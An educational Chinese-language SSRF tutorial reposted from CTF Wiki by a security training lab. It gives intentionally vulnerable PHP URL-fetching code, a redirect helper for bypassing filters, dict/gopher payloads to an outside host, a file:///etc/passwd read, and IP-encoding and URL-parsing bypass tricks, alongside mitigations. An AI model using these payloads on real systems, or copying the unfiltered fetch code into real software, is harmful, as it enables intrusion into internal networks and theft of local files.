SSRF 服務端請求偽造

合天網安實驗室發表於2019-04-17

1、SSRF簡介

SSRF,Server-Side Request Forgery,服務端請求偽造,是一種由攻擊者構造形成由伺服器端發起請求的一個漏洞。一般情況下,SSRF 攻擊的目標是從外網無法訪問的內部系統。

漏洞形成的原因大多是因為服務端提供了從其他伺服器應用獲取資料的功能且沒有對目標地址作過濾和限制。

攻擊者可以利用 SSRF 實現的攻擊主要有 5 種:

1、可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的 banner 資訊

2、攻擊執行在內網或本地的應用程式(比如溢位)

3、對內網 WEB 應用進行指紋識別,通過訪問預設檔案實現

4、攻擊內外網的 web 應用,主要是使用 GET 引數就可以實現的攻擊(比如 Struts2sqli 等)

5、利用 file 協議讀取本地檔案等

2、SSRF 漏洞出現的場景

能夠對外發起網路請求的地方,就可能存在 SSRF 漏洞

從遠端伺服器請求資源(Upload from URL,Import & Export RSS Feed)

資料庫內建功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

Webmail 收取其他郵箱郵件(POP3、IMAP、SMTP)

檔案處理、編碼處理、屬性資訊處理(ffmpeg、ImageMagic、DOCX、PDF、XML)

3、常用的後端實現

1、file_get_contents

<?php
if (isset($_POST['url'])) { 
    $content = file_get_contents($_POST['url']); 
    $filename ='./images/'.rand().';img1.jpg'; 
    file_put_contents($filename, $content); 
    echo $_POST['url']; 
    $img = "<img src=\"".$filename."\"/>"; 
}
echo $img;
?>
複製程式碼

這段程式碼使用 file_get_contents 函式從使用者指定的 URL 獲取圖片。然後把它用一個隨機檔名儲存在硬碟上,並展示給使用者。

2、fsockopen()

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>
複製程式碼

這段程式碼使用 fsockopen 函式實現獲取使用者制定 URL 的資料(檔案或者 HTML)。這個函式會使用 socket 跟伺服器建立 TCP 連線,傳輸原始資料。

3、curl_exec()

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>
複製程式碼

使用 curl 獲取資料。

4、阻礙 SSRF 漏洞利用的場景

伺服器開啟 OpenSSL 無法進行互動利用

服務端需要鑑權(Cookies & User:Pass)不能完美利用

限制請求的埠為 http 常用的埠,比如,80,443,8080,8090。

禁用不需要的協議。僅僅允許 httphttps請求。可以防止類似於 file:///,gopher://,ftp:// 等引起的問題。

統一錯誤資訊,避免使用者可以根據錯誤資訊來判斷遠端伺服器的埠狀態。

5、利用 SSRF 進行埠掃描

根據伺服器的返回資訊進行判斷,大部分應用不會判別埠,可通過返回的 banner資訊判斷埠狀態。

後端實現

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename)); 
    fclose($fp);
    echo $result;
}
?>
複製程式碼

構造一個前端頁面

<html>
<body>
  <form name="px" method="post" action="http://127.0.0.1/ss.php">
    <input type="text" name="url" value="">
    <input type="submit" name="commit" value="submit">
  </form>
  <script></script>
</body>
</html>
複製程式碼

請求非 HTTP 的埠可以返回 banner 資訊。

或可利用 302 跳轉繞過 HTTP 協議的限制。

輔助指令碼

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
複製程式碼

騰訊某處 SSRF 漏洞(非常好的利用點)附利用指令碼

6、協議利用

Dict 協議

dict://fuzz.wuyun.org:8080/helo:dict
複製程式碼

Gopher 協議

gopher://fuzz.wuyun.org:8080/gopher
複製程式碼

File 協議

file:///etc/passwd
複製程式碼

7、繞過姿勢

1、更改 IP 地址寫法 例如 192.168.0.1

8 進位制格式:0300.0250.0.1

16 進位制格式:0xC0.0xA8.0.1

10 進位制整數格式:3232235521

16 進位制整數格式:0xC0A80001

還有一種特殊的省略模式,例如10.0.0.1這個 IP 可以寫成10.1

2、利用 URL 解析問題 在某些情況下,後端程式可能會對訪問的 URL 進行解析,對解析出來的 host 地址進行過濾。這時候可能會出現對 URL 引數解析不當,導致可以繞過過濾。 例如:

http://www.baidu.com@192.168.0.1/與http://192.168.0.1請求的都是192.168.0.1的內容

可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/

短地址http://dwz.cn/11SMa==>http://127.0.0.1

利用句號127。0。0。1==>127.0.0.1

利用 Enclosed alphanumerics

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
複製程式碼

8、危害

可以對外網、伺服器所在內網、本地進行埠掃描,獲取一些服務的 banner資訊;

攻擊執行在內網或本地的應用程式(比如溢位);

對內網 web應用進行指紋識別,通過訪問預設檔案實現;

攻擊內外網的web應用,主要是使用 get 引數就可以實現的攻擊(比如 struts2sqli 等);

利用 file 協議讀取本地檔案等。

9、參考資料

《Build Your SSRF EXP Autowork》豬豬俠

騰訊某處 SSRF 漏洞(非常好的利用點)附利用指令碼

bilibili 某分站從資訊洩露到 ssrf 再到命令執行

10、說明

相關練習實驗

SSRF漏洞分析與實踐

SSRF漏洞進階實踐-攻擊內網Redis

SSRF漏洞進階實踐-Struts2-s2-32漏洞利用

關於合天網安實驗室

合天網安實驗室(www.hetianlab.com)-國內領先的實操型網路安全線上教育平臺

真實環境,線上實操學網路安全 ; 實驗內容涵蓋:系統安全,軟體安全,網路安全,Web安全,移動安全,CTF,取證分析,滲透測試,網安意識教育等。

轉載宣告

本文轉自:SSRF 服務端請求偽造 - CTF Wiki

本文章在原文章SSRF 服務端請求偽造 - CTF Wiki的基礎上有所修改。

本文章的全部內容在 CC BY-NC-SA 4.0 協議之條款下提供,附加條款亦可能應用。

相關文章